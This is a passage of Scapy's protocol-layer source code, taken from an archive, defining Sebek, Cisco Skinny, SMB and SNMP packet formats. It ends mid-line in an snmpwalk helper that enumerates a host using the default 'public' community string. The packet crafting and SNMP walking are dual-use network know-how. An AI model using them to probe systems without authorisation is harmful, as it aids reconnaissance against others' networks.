Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Sebek: Linux kernel module for data collection on honeypots. """ from scapy.fields import * from scapy.packet import * from scapy.layers.inet import UDP ### SEBEK class SebekHead(Packet): name = "Sebek header" fields_desc = [ XIntField("magic", 0xd0d0d0), ShortField("version", 1), ShortEnumField("type", 0, {"read":0, "write":1, "socket":2, "open":3}), IntField("counter", 0), IntField("time_sec", 0), IntField("time_usec", 0) ] def mysummary(self): return self.sprintf("Sebek Header v%SebekHead.version% %SebekHead.type%") # we need this because Sebek headers differ between v1 and v3, and # between v3 type socket and v3 others class SebekV1(Packet): name = "Sebek v1" fields_desc = [ IntField("pid", 0), IntField("uid", 0), IntField("fd", 0), StrFixedLenField("command", "", 12), FieldLenField("data_length", None, "data",fmt="I"), StrLenField("data", "", length_from=lambda x:x.data_length) ] def mysummary(self): if isinstance(self.underlayer, SebekHead): return self.underlayer.sprintf("Sebek v1 %SebekHead.type% (%SebekV1.command%)") else: return self.sprintf("Sebek v1 (%SebekV1.command%)") class SebekV3(Packet): name = "Sebek v3" fields_desc = [ IntField("parent_pid", 0), IntField("pid", 0), IntField("uid", 0), IntField("fd", 0), IntField("inode", 0), StrFixedLenField("command", "", 12), FieldLenField("data_length", None, "data",fmt="I"), StrLenField("data", "", length_from=lambda x:x.data_length) ] def mysummary(self): if isinstance(self.underlayer, SebekHead): return self.underlayer.sprintf("Sebek v%SebekHead.version% %SebekHead.type% (%SebekV3.command%)") else: return self.sprintf("Sebek v3 (%SebekV3.command%)") class SebekV2(SebekV3): def mysummary(self): if isinstance(self.underlayer, SebekHead): return self.underlayer.sprintf("Sebek v%SebekHead.version% %SebekHead.type% (%SebekV2.command%)") else: return self.sprintf("Sebek v2 (%SebekV2.command%)") class SebekV3Sock(Packet): name = "Sebek v2 socket" fields_desc = [ IntField("parent_pid", 0), IntField("pid", 0), IntField("uid", 0), IntField("fd", 0), IntField("inode", 0), StrFixedLenField("command", "", 12), IntField("data_length", 15), IPField("dip", "127.0.0.1"), ShortField("dport", 0), IPField("sip", "127.0.0.1"), ShortField("sport", 0), ShortEnumField("call", 0, { "bind":2, "connect":3, "listen":4, "accept":5, "sendmsg":16, "recvmsg":17, "sendto":11, "recvfrom":12}), ByteEnumField("proto", 0, IP_PROTOS) ] def mysummary(self): if isinstance(self.underlayer, SebekHead): return self.underlayer.sprintf("Sebek v%SebekHead.version% %SebekHead.type% (%SebekV3Sock.command%)") else: return self.sprintf("Sebek v3 socket (%SebekV3Sock.command%)") class SebekV2Sock(SebekV3Sock): def mysummary(self): if isinstance(self.underlayer, SebekHead): return self.underlayer.sprintf("Sebek v%SebekHead.version% %SebekHead.type% (%SebekV2Sock.command%)") else: return self.sprintf("Sebek v2 socket (%SebekV2Sock.command%)") bind_layers( UDP, SebekHead, sport=1101) bind_layers( UDP, SebekHead, dport=1101) bind_layers( UDP, SebekHead, dport=1101, sport=1101) bind_layers( SebekHead, SebekV1, version=1) bind_layers( SebekHead, SebekV2Sock, version=2, type=2) bind_layers( SebekHead, SebekV2, version=2) bind_layers( SebekHead, SebekV3Sock, version=3, type=2) bind_layers( SebekHead, SebekV3, version=3) scapy-0.23/scapy/layers/skinny.py000066400000000000000000000125571320561231000170630ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Cisco Skinny protocol. """ from scapy.packet import * from scapy.fields import * from scapy.layers.inet import TCP # shamelessly ripped from Ethereal dissector skinny_messages = { # Station -> Callmanager 0x0000: "KeepAliveMessage", 0x0001: "RegisterMessage", 0x0002: "IpPortMessage", 0x0003: "KeypadButtonMessage", 0x0004: "EnblocCallMessage", 0x0005: "StimulusMessage", 0x0006: "OffHookMessage", 0x0007: "OnHookMessage", 0x0008: "HookFlashMessage", 0x0009: "ForwardStatReqMessage", 0x000A: "SpeedDialStatReqMessage", 0x000B: "LineStatReqMessage", 0x000C: "ConfigStatReqMessage", 0x000D: "TimeDateReqMessage", 0x000E: "ButtonTemplateReqMessage", 0x000F: "VersionReqMessage", 0x0010: "CapabilitiesResMessage", 0x0011: "MediaPortListMessage", 0x0012: "ServerReqMessage", 0x0020: "AlarmMessage", 0x0021: "MulticastMediaReceptionAck", 0x0022: "OpenReceiveChannelAck", 0x0023: "ConnectionStatisticsRes", 0x0024: "OffHookWithCgpnMessage", 0x0025: "SoftKeySetReqMessage", 0x0026: "SoftKeyEventMessage", 0x0027: "UnregisterMessage", 0x0028: "SoftKeyTemplateReqMessage", 0x0029: "RegisterTokenReq", 0x002A: "MediaTransmissionFailure", 0x002B: "HeadsetStatusMessage", 0x002C: "MediaResourceNotification", 0x002D: "RegisterAvailableLinesMessage", 0x002E: "DeviceToUserDataMessage", 0x002F: "DeviceToUserDataResponseMessage", 0x0030: "UpdateCapabilitiesMessage", 0x0031: "OpenMultiMediaReceiveChannelAckMessage", 0x0032: "ClearConferenceMessage", 0x0033: "ServiceURLStatReqMessage", 0x0034: "FeatureStatReqMessage", 0x0035: "CreateConferenceResMessage", 0x0036: "DeleteConferenceResMessage", 0x0037: "ModifyConferenceResMessage", 0x0038: "AddParticipantResMessage", 0x0039: "AuditConferenceResMessage", 0x0040: "AuditParticipantResMessage", 0x0041: "DeviceToUserDataVersion1Message", # Callmanager -> Station */ 0x0081: "RegisterAckMessage", 0x0082: "StartToneMessage", 0x0083: "StopToneMessage", 0x0085: "SetRingerMessage", 0x0086: "SetLampMessage", 0x0087: "SetHkFDetectMessage", 0x0088: "SetSpeakerModeMessage", 0x0089: "SetMicroModeMessage", 0x008A: "StartMediaTransmission", 0x008B: "StopMediaTransmission", 0x008C: "StartMediaReception", 0x008D: "StopMediaReception", 0x008F: "CallInfoMessage", 0x0090: "ForwardStatMessage", 0x0091: "SpeedDialStatMessage", 0x0092: "LineStatMessage", 0x0093: "ConfigStatMessage", 0x0094: "DefineTimeDate", 0x0095: "StartSessionTransmission", 0x0096: "StopSessionTransmission", 0x0097: "ButtonTemplateMessage", 0x0098: "VersionMessage", 0x0099: "DisplayTextMessage", 0x009A: "ClearDisplay", 0x009B: "CapabilitiesReqMessage", 0x009C: "EnunciatorCommandMessage", 0x009D: "RegisterRejectMessage", 0x009E: "ServerResMessage", 0x009F: "Reset", 0x0100: "KeepAliveAckMessage", 0x0101: "StartMulticastMediaReception", 0x0102: "StartMulticastMediaTransmission", 0x0103: "StopMulticastMediaReception", 0x0104: "StopMulticastMediaTransmission", 0x0105: "OpenReceiveChannel", 0x0106: "CloseReceiveChannel", 0x0107: "ConnectionStatisticsReq", 0x0108: "SoftKeyTemplateResMessage", 0x0109: "SoftKeySetResMessage", 0x0110: "SelectSoftKeysMessage", 0x0111: "CallStateMessage", 0x0112: "DisplayPromptStatusMessage", 0x0113: "ClearPromptStatusMessage", 0x0114: "DisplayNotifyMessage", 0x0115: "ClearNotifyMessage", 0x0116: "ActivateCallPlaneMessage", 0x0117: "DeactivateCallPlaneMessage", 0x0118: "UnregisterAckMessage", 0x0119: "BackSpaceReqMessage", 0x011A: "RegisterTokenAck", 0x011B: "RegisterTokenReject", 0x0042: "DeviceToUserDataResponseVersion1Message", 0x011C: "StartMediaFailureDetection", 0x011D: "DialedNumberMessage", 0x011E: "UserToDeviceDataMessage", 0x011F: "FeatureStatMessage", 0x0120: "DisplayPriNotifyMessage", 0x0121: "ClearPriNotifyMessage", 0x0122: "StartAnnouncementMessage", 0x0123: "StopAnnouncementMessage", 0x0124: "AnnouncementFinishMessage", 0x0127: "NotifyDtmfToneMessage", 0x0128: "SendDtmfToneMessage", 0x0129: "SubscribeDtmfPayloadReqMessage", 0x012A: "SubscribeDtmfPayloadResMessage", 0x012B: "SubscribeDtmfPayloadErrMessage", 0x012C: "UnSubscribeDtmfPayloadReqMessage", 0x012D: "UnSubscribeDtmfPayloadResMessage", 0x012E: "UnSubscribeDtmfPayloadErrMessage", 0x012F: "ServiceURLStatMessage", 0x0130: "CallSelectStatMessage", 0x0131: "OpenMultiMediaChannelMessage", 0x0132: "StartMultiMediaTransmission", 0x0133: "StopMultiMediaTransmission", 0x0134: "MiscellaneousCommandMessage", 0x0135: "FlowControlCommandMessage", 0x0136: "CloseMultiMediaReceiveChannel", 0x0137: "CreateConferenceReqMessage", 0x0138: "DeleteConferenceReqMessage", 0x0139: "ModifyConferenceReqMessage", 0x013A: "AddParticipantReqMessage", 0x013B: "DropParticipantReqMessage", 0x013C: "AuditConferenceReqMessage", 0x013D: "AuditParticipantReqMessage", 0x013F: "UserToDeviceDataVersion1Message", } class Skinny(Packet): name="Skinny" fields_desc = [ LEIntField("len",0), LEIntField("res",0), LEIntEnumField("msg",0,skinny_messages) ] bind_layers( TCP, Skinny, dport=2000) bind_layers( TCP, Skinny, sport=2000) scapy-0.23/scapy/layers/smb.py000066400000000000000000000427541320561231000163330ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ SMB (Server Message Block), also known as CIFS. """ from scapy.packet import * from scapy.fields import * from scapy.layers.netbios import NBTSession # SMB NetLogon Response Header class SMBNetlogon_Protocol_Response_Header(Packet): name="SMBNetlogon Protocol Response Header" fields_desc = [StrFixedLenField("Start","\xffSMB",4), ByteEnumField("Command",0x25,{0x25:"Trans"}), ByteField("Error_Class",0x02), ByteField("Reserved",0), LEShortField("Error_code",4), ByteField("Flags",0), LEShortField("Flags2",0x0000), LEShortField("PIDHigh",0x0000), LELongField("Signature",0x0), LEShortField("Unused",0x0), LEShortField("TID",0), LEShortField("PID",0), LEShortField("UID",0), LEShortField("MID",0), ByteField("WordCount",17), LEShortField("TotalParamCount",0), LEShortField("TotalDataCount",112), LEShortField("MaxParamCount",0), LEShortField("MaxDataCount",0), ByteField("MaxSetupCount",0), ByteField("unused2",0), LEShortField("Flags3",0), ByteField("TimeOut1",0xe8), ByteField("TimeOut2",0x03), LEShortField("unused3",0), LEShortField("unused4",0), LEShortField("ParamCount2",0), LEShortField("ParamOffset",0), LEShortField("DataCount",112), LEShortField("DataOffset",92), ByteField("SetupCount", 3), ByteField("unused5", 0)] # SMB MailSlot Protocol class SMBMailSlot(Packet): name = "SMB Mail Slot Protocol" fields_desc = [LEShortField("opcode", 1), LEShortField("priority", 1), LEShortField("class", 2), LEShortField("size", 135), StrNullField("name","\\MAILSLOT\\NET\\GETDC660")] # SMB NetLogon Protocol Response Tail SAM class SMBNetlogon_Protocol_Response_Tail_SAM(Packet): name = "SMB Netlogon Protocol Response Tail SAM" fields_desc = [ByteEnumField("Command", 0x17, {0x12:"SAM logon request", 0x17:"SAM Active directory Response"}), ByteField("unused", 0), ShortField("Data1", 0), ShortField("Data2", 0xfd01), ShortField("Data3", 0), ShortField("Data4", 0xacde), ShortField("Data5", 0x0fe5), ShortField("Data6", 0xd10a), ShortField("Data7", 0x374c), ShortField("Data8", 0x83e2), ShortField("Data9", 0x7dd9), ShortField("Data10", 0x3a16), ShortField("Data11", 0x73ff), ByteField("Data12", 0x04), StrFixedLenField("Data13", "rmff", 4), ByteField("Data14", 0x0), ShortField("Data16", 0xc018), ByteField("Data18", 0x0a), StrFixedLenField("Data20", "rmff-win2k", 10), ByteField("Data21", 0xc0), ShortField("Data22", 0x18c0), ShortField("Data23", 0x180a), StrFixedLenField("Data24", "RMFF-WIN2K", 10), ShortField("Data25", 0), ByteField("Data26", 0x17), StrFixedLenField("Data27", "Default-First-Site-Name", 23), ShortField("Data28", 0x00c0), ShortField("Data29", 0x3c10), ShortField("Data30", 0x00c0), ShortField("Data31", 0x0200), ShortField("Data32", 0x0), ShortField("Data33", 0xac14), ShortField("Data34", 0x0064), ShortField("Data35", 0x0), ShortField("Data36", 0x0), ShortField("Data37", 0x0), ShortField("Data38", 0x0), ShortField("Data39", 0x0d00), ShortField("Data40", 0x0), ShortField("Data41", 0xffff)] # SMB NetLogon Protocol Response Tail LM2.0 class SMBNetlogon_Protocol_Response_Tail_LM20(Packet): name = "SMB Netlogon Protocol Response Tail LM20" fields_desc = [ByteEnumField("Command",0x06,{0x06:"LM 2.0 Response to logon request"}), ByteField("unused", 0), StrFixedLenField("DblSlash", "\\\\", 2), StrNullField("ServerName","WIN"), LEShortField("LM20Token", 0xffff)] # SMBNegociate Protocol Request Header class SMBNegociate_Protocol_Request_Header(Packet): name="SMBNegociate Protocol Request Header" fields_desc = [StrFixedLenField("Start","\xffSMB",4), ByteEnumField("Command",0x72,{0x72:"SMB_COM_NEGOTIATE"}), ByteField("Error_Class",0), ByteField("Reserved",0), LEShortField("Error_code",0), ByteField("Flags",0x18), LEShortField("Flags2",0x0000), LEShortField("PIDHigh",0x0000), LELongField("Signature",0x0), LEShortField("Unused",0x0), LEShortField("TID",0), LEShortField("PID",1), LEShortField("UID",0), LEShortField("MID",2), ByteField("WordCount",0), LEShortField("ByteCount",12)] # SMB Negociate Protocol Request Tail class SMBNegociate_Protocol_Request_Tail(Packet): name="SMB Negociate Protocol Request Tail" fields_desc=[ByteField("BufferFormat",0x02), StrNullField("BufferData","NT LM 0.12")] # SMBNegociate Protocol Response Advanced Security class SMBNegociate_Protocol_Response_Advanced_Security(Packet): name="SMBNegociate Protocol Response Advanced Security" fields_desc = [StrFixedLenField("Start","\xffSMB",4), ByteEnumField("Command",0x72,{0x72:"SMB_COM_NEGOTIATE"}), ByteField("Error_Class",0), ByteField("Reserved",0), LEShortField("Error_Code",0), ByteField("Flags",0x98), LEShortField("Flags2",0x0000), LEShortField("PIDHigh",0x0000), LELongField("Signature",0x0), LEShortField("Unused",0x0), LEShortField("TID",0), LEShortField("PID",1), LEShortField("UID",0), LEShortField("MID",2), ByteField("WordCount",17), LEShortField("DialectIndex",7), ByteField("SecurityMode",0x03), LEShortField("MaxMpxCount",50), LEShortField("MaxNumberVC",1), LEIntField("MaxBufferSize",16144), LEIntField("MaxRawSize",65536), LEIntField("SessionKey",0x0000), LEShortField("ServerCapabilities",0xf3f9), BitField("UnixExtensions",0,1), BitField("Reserved2",0,7), BitField("ExtendedSecurity",1,1), BitField("CompBulk",0,2), BitField("Reserved3",0,5), # There have been 127490112000000000 tenths of micro-seconds between 1st january 1601 and 1st january 2005. 127490112000000000=0x1C4EF94D6228000, so ServerTimeHigh=0xD6228000 and ServerTimeLow=0x1C4EF94. LEIntField("ServerTimeHigh",0xD6228000), LEIntField("ServerTimeLow",0x1C4EF94), LEShortField("ServerTimeZone",0x3c), ByteField("EncryptionKeyLength",0), LEFieldLenField("ByteCount", None, "SecurityBlob", adjust=lambda pkt,x:x-16), BitField("GUID",0,128), StrLenField("SecurityBlob", "", length_from=lambda x:x.ByteCount+16)] # SMBNegociate Protocol Response No Security # When using no security, with EncryptionKeyLength=8, you must have an EncryptionKey before the DomainName class SMBNegociate_Protocol_Response_No_Security(Packet): name="SMBNegociate Protocol Response No Security" fields_desc = [StrFixedLenField("Start","\xffSMB",4), ByteEnumField("Command",0x72,{0x72:"SMB_COM_NEGOTIATE"}), ByteField("Error_Class",0), ByteField("Reserved",0), LEShortField("Error_Code",0), ByteField("Flags",0x98), LEShortField("Flags2",0x0000), LEShortField("PIDHigh",0x0000), LELongField("Signature",0x0), LEShortField("Unused",0x0), LEShortField("TID",0), LEShortField("PID",1), LEShortField("UID",0), LEShortField("MID",2), ByteField("WordCount",17), LEShortField("DialectIndex",7), ByteField("SecurityMode",0x03), LEShortField("MaxMpxCount",50), LEShortField("MaxNumberVC",1), LEIntField("MaxBufferSize",16144), LEIntField("MaxRawSize",65536), LEIntField("SessionKey",0x0000), LEShortField("ServerCapabilities",0xf3f9), BitField("UnixExtensions",0,1), BitField("Reserved2",0,7), BitField("ExtendedSecurity",0,1), FlagsField("CompBulk",0,2,"CB"), BitField("Reserved3",0,5), # There have been 127490112000000000 tenths of micro-seconds between 1st january 1601 and 1st january 2005. 127490112000000000=0x1C4EF94D6228000, so ServerTimeHigh=0xD6228000 and ServerTimeLow=0x1C4EF94. LEIntField("ServerTimeHigh",0xD6228000), LEIntField("ServerTimeLow",0x1C4EF94), LEShortField("ServerTimeZone",0x3c), ByteField("EncryptionKeyLength",8), LEShortField("ByteCount",24), BitField("EncryptionKey",0,64), StrNullField("DomainName","WORKGROUP"), StrNullField("ServerName","RMFF1")] # SMBNegociate Protocol Response No Security No Key class SMBNegociate_Protocol_Response_No_Security_No_Key(Packet): namez="SMBNegociate Protocol Response No Security No Key" fields_desc = [StrFixedLenField("Start","\xffSMB",4), ByteEnumField("Command",0x72,{0x72:"SMB_COM_NEGOTIATE"}), ByteField("Error_Class",0), ByteField("Reserved",0), LEShortField("Error_Code",0), ByteField("Flags",0x98), LEShortField("Flags2",0x0000), LEShortField("PIDHigh",0x0000), LELongField("Signature",0x0), LEShortField("Unused",0x0), LEShortField("TID",0), LEShortField("PID",1), LEShortField("UID",0), LEShortField("MID",2), ByteField("WordCount",17), LEShortField("DialectIndex",7), ByteField("SecurityMode",0x03), LEShortField("MaxMpxCount",50), LEShortField("MaxNumberVC",1), LEIntField("MaxBufferSize",16144), LEIntField("MaxRawSize",65536), LEIntField("SessionKey",0x0000), LEShortField("ServerCapabilities",0xf3f9), BitField("UnixExtensions",0,1), BitField("Reserved2",0,7), BitField("ExtendedSecurity",0,1), FlagsField("CompBulk",0,2,"CB"), BitField("Reserved3",0,5), # There have been 127490112000000000 tenths of micro-seconds between 1st january 1601 and 1st january 2005. 127490112000000000=0x1C4EF94D6228000, so ServerTimeHigh=0xD6228000 and ServerTimeLow=0x1C4EF94. LEIntField("ServerTimeHigh",0xD6228000), LEIntField("ServerTimeLow",0x1C4EF94), LEShortField("ServerTimeZone",0x3c), ByteField("EncryptionKeyLength",0), LEShortField("ByteCount",16), StrNullField("DomainName","WORKGROUP"), StrNullField("ServerName","RMFF1")] # Session Setup AndX Request class SMBSession_Setup_AndX_Request(Packet): name="Session Setup AndX Request" fields_desc=[StrFixedLenField("Start","\xffSMB",4), ByteEnumField("Command",0x73,{0x73:"SMB_COM_SESSION_SETUP_ANDX"}), ByteField("Error_Class",0), ByteField("Reserved",0), LEShortField("Error_Code",0), ByteField("Flags",0x18), LEShortField("Flags2",0x0001), LEShortField("PIDHigh",0x0000), LELongField("Signature",0x0), LEShortField("Unused",0x0), LEShortField("TID",0), LEShortField("PID",1), LEShortField("UID",0), LEShortField("MID",2), ByteField("WordCount",13), ByteEnumField("AndXCommand",0x75,{0x75:"SMB_COM_TREE_CONNECT_ANDX"}), ByteField("Reserved2",0), LEShortField("AndXOffset",96), LEShortField("MaxBufferS",2920), LEShortField("MaxMPXCount",50), LEShortField("VCNumber",0), LEIntField("SessionKey",0), LEFieldLenField("ANSIPasswordLength",None,"ANSIPassword"), LEShortField("UnicodePasswordLength",0), LEIntField("Reserved3",0), LEShortField("ServerCapabilities",0x05), BitField("UnixExtensions",0,1), BitField("Reserved4",0,7), BitField("ExtendedSecurity",0,1), BitField("CompBulk",0,2), BitField("Reserved5",0,5), LEShortField("ByteCount",35), StrLenField("ANSIPassword", "Pass",length_from=lambda x:x.ANSIPasswordLength), StrNullField("Account","GUEST"), StrNullField("PrimaryDomain", ""), StrNullField("NativeOS","Windows 4.0"), StrNullField("NativeLanManager","Windows 4.0"), ByteField("WordCount2",4), ByteEnumField("AndXCommand2",0xFF,{0xFF:"SMB_COM_NONE"}), ByteField("Reserved6",0), LEShortField("AndXOffset2",0), LEShortField("Flags3",0x2), LEShortField("PasswordLength",0x1), LEShortField("ByteCount2",18), ByteField("Password",0), StrNullField("Path","\\\\WIN2K\\IPC$"), StrNullField("Service","IPC")] # Session Setup AndX Response class SMBSession_Setup_AndX_Response(Packet): name="Session Setup AndX Response" fields_desc=[StrFixedLenField("Start","\xffSMB",4), ByteEnumField("Command",0x73,{0x73:"SMB_COM_SESSION_SETUP_ANDX"}), ByteField("Error_Class",0), ByteField("Reserved",0), LEShortField("Error_Code",0), ByteField("Flags",0x90), LEShortField("Flags2",0x1001), LEShortField("PIDHigh",0x0000), LELongField("Signature",0x0), LEShortField("Unused",0x0), LEShortField("TID",0), LEShortField("PID",1), LEShortField("UID",0), LEShortField("MID",2), ByteField("WordCount",3), ByteEnumField("AndXCommand",0x75,{0x75:"SMB_COM_TREE_CONNECT_ANDX"}), ByteField("Reserved2",0), LEShortField("AndXOffset",66), LEShortField("Action",0), LEShortField("ByteCount",25), StrNullField("NativeOS","Windows 4.0"), StrNullField("NativeLanManager","Windows 4.0"), StrNullField("PrimaryDomain",""), ByteField("WordCount2",3), ByteEnumField("AndXCommand2",0xFF,{0xFF:"SMB_COM_NONE"}), ByteField("Reserved3",0), LEShortField("AndXOffset2",80), LEShortField("OptionalSupport",0x01), LEShortField("ByteCount2",5), StrNullField("Service","IPC"), StrNullField("NativeFileSystem","")] bind_layers( NBTSession, SMBNegociate_Protocol_Request_Header, ) bind_layers( NBTSession, SMBNegociate_Protocol_Response_Advanced_Security, ExtendedSecurity=1) bind_layers( NBTSession, SMBNegociate_Protocol_Response_No_Security, ExtendedSecurity=0, EncryptionKeyLength=8) bind_layers( NBTSession, SMBNegociate_Protocol_Response_No_Security_No_Key, ExtendedSecurity=0, EncryptionKeyLength=0) bind_layers( NBTSession, SMBSession_Setup_AndX_Request, ) bind_layers( NBTSession, SMBSession_Setup_AndX_Response, ) bind_layers( SMBNegociate_Protocol_Request_Header, SMBNegociate_Protocol_Request_Tail, ) bind_layers( SMBNegociate_Protocol_Request_Tail, SMBNegociate_Protocol_Request_Tail, ) scapy-0.23/scapy/layers/snmp.py000066400000000000000000000212451320561231000165170ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ SNMP (Simple Network Management Protocol). """ from scapy.asn1packet import * from scapy.asn1fields import * from scapy.layers.inet import UDP ########## ## SNMP ## ########## ######[ ASN1 class ]###### class ASN1_Class_SNMP(ASN1_Class_UNIVERSAL): name="SNMP" PDU_GET = 0xa0 PDU_NEXT = 0xa1 PDU_RESPONSE = 0xa2 PDU_SET = 0xa3 PDU_TRAPv1 = 0xa4 PDU_BULK = 0xa5 PDU_INFORM = 0xa6 PDU_TRAPv2 = 0xa7 class ASN1_SNMP_PDU_GET(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_GET class ASN1_SNMP_PDU_NEXT(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_NEXT class ASN1_SNMP_PDU_RESPONSE(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_RESPONSE class ASN1_SNMP_PDU_SET(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_SET class ASN1_SNMP_PDU_TRAPv1(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_TRAPv1 class ASN1_SNMP_PDU_BULK(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_BULK class ASN1_SNMP_PDU_INFORM(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_INFORM class ASN1_SNMP_PDU_TRAPv2(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_TRAPv2 ######[ BER codecs ]####### class BERcodec_SNMP_PDU_GET(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_GET class BERcodec_SNMP_PDU_NEXT(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_NEXT class BERcodec_SNMP_PDU_RESPONSE(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_RESPONSE class BERcodec_SNMP_PDU_SET(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_SET class BERcodec_SNMP_PDU_TRAPv1(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_TRAPv1 class BERcodec_SNMP_PDU_BULK(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_BULK class BERcodec_SNMP_PDU_INFORM(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_INFORM class BERcodec_SNMP_PDU_TRAPv2(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_TRAPv2 ######[ ASN1 fields ]###### class ASN1F_SNMP_PDU_GET(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_GET class ASN1F_SNMP_PDU_NEXT(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_NEXT class ASN1F_SNMP_PDU_RESPONSE(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_RESPONSE class ASN1F_SNMP_PDU_SET(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_SET class ASN1F_SNMP_PDU_TRAPv1(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_TRAPv1 class ASN1F_SNMP_PDU_BULK(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_BULK class ASN1F_SNMP_PDU_INFORM(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_INFORM class ASN1F_SNMP_PDU_TRAPv2(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_TRAPv2 ######[ SNMP Packet ]###### SNMP_error = { 0: "no_error", 1: "too_big", 2: "no_such_name", 3: "bad_value", 4: "read_only", 5: "generic_error", 6: "no_access", 7: "wrong_type", 8: "wrong_length", 9: "wrong_encoding", 10: "wrong_value", 11: "no_creation", 12: "inconsistent_value", 13: "ressource_unavailable", 14: "commit_failed", 15: "undo_failed", 16: "authorization_error", 17: "not_writable", 18: "inconsistent_name", } SNMP_trap_types = { 0: "cold_start", 1: "warm_start", 2: "link_down", 3: "link_up", 4: "auth_failure", 5: "egp_neigh_loss", 6: "enterprise_specific", } class SNMPvarbind(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("oid","1.3"), ASN1F_field("value",ASN1_NULL(0)) ) class SNMPget(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_GET( ASN1F_INTEGER("id",0), ASN1F_enum_INTEGER("error",0, SNMP_error), ASN1F_INTEGER("error_index",0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) class SNMPnext(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_NEXT( ASN1F_INTEGER("id",0), ASN1F_enum_INTEGER("error",0, SNMP_error), ASN1F_INTEGER("error_index",0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) class SNMPresponse(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_RESPONSE( ASN1F_INTEGER("id",0), ASN1F_enum_INTEGER("error",0, SNMP_error), ASN1F_INTEGER("error_index",0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) class SNMPset(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_SET( ASN1F_INTEGER("id",0), ASN1F_enum_INTEGER("error",0, SNMP_error), ASN1F_INTEGER("error_index",0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) class SNMPtrapv1(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_TRAPv1( ASN1F_OID("enterprise", "1.3"), ASN1F_IPADDRESS("agent_addr","0.0.0.0"), ASN1F_enum_INTEGER("generic_trap", 0, SNMP_trap_types), ASN1F_INTEGER("specific_trap", 0), ASN1F_TIME_TICKS("time_stamp", IntAutoTime()), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) class SNMPbulk(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_BULK( ASN1F_INTEGER("id",0), ASN1F_INTEGER("non_repeaters",0), ASN1F_INTEGER("max_repetitions",0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) class SNMPinform(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_INFORM( ASN1F_INTEGER("id",0), ASN1F_enum_INTEGER("error",0, SNMP_error), ASN1F_INTEGER("error_index",0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) class SNMPtrapv2(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_TRAPv2( ASN1F_INTEGER("id",0), ASN1F_enum_INTEGER("error",0, SNMP_error), ASN1F_INTEGER("error_index",0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) class SNMP(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER("version", 1, {0:"v1", 1:"v2c", 2:"v2", 3:"v3"}), ASN1F_STRING("community",b"public"), ASN1F_CHOICE("PDU", SNMPget(), SNMPget, SNMPnext, SNMPresponse, SNMPset, SNMPtrapv1, SNMPbulk, SNMPinform, SNMPtrapv2) ) def answers(self, other): return ( isinstance(self.PDU, SNMPresponse) and ( isinstance(other.PDU, SNMPget) or isinstance(other.PDU, SNMPnext) or isinstance(other.PDU, SNMPset) ) and self.PDU.id == other.PDU.id ) bind_layers( UDP, SNMP, sport=161) bind_layers( UDP, SNMP, dport=161) bind_layers( UDP, SNMP, sport=162) bind_layers( UDP, SNMP, dport=162) def snmpwalk(dst, oid="1", community=b"public"): try: while 1: r = sr1(IP(dst=dst)/UDP(sport=RandShort())/SNMP(community=community, PDU=SNMPnext(varbindlist=[SNMPvarbind(oid=oid)])),timeout=2, chainCC=1, verbose=0, retry=2) if ICMP in r: print(repr(r)) break if r is None: print("No answers") break print("%-40s: 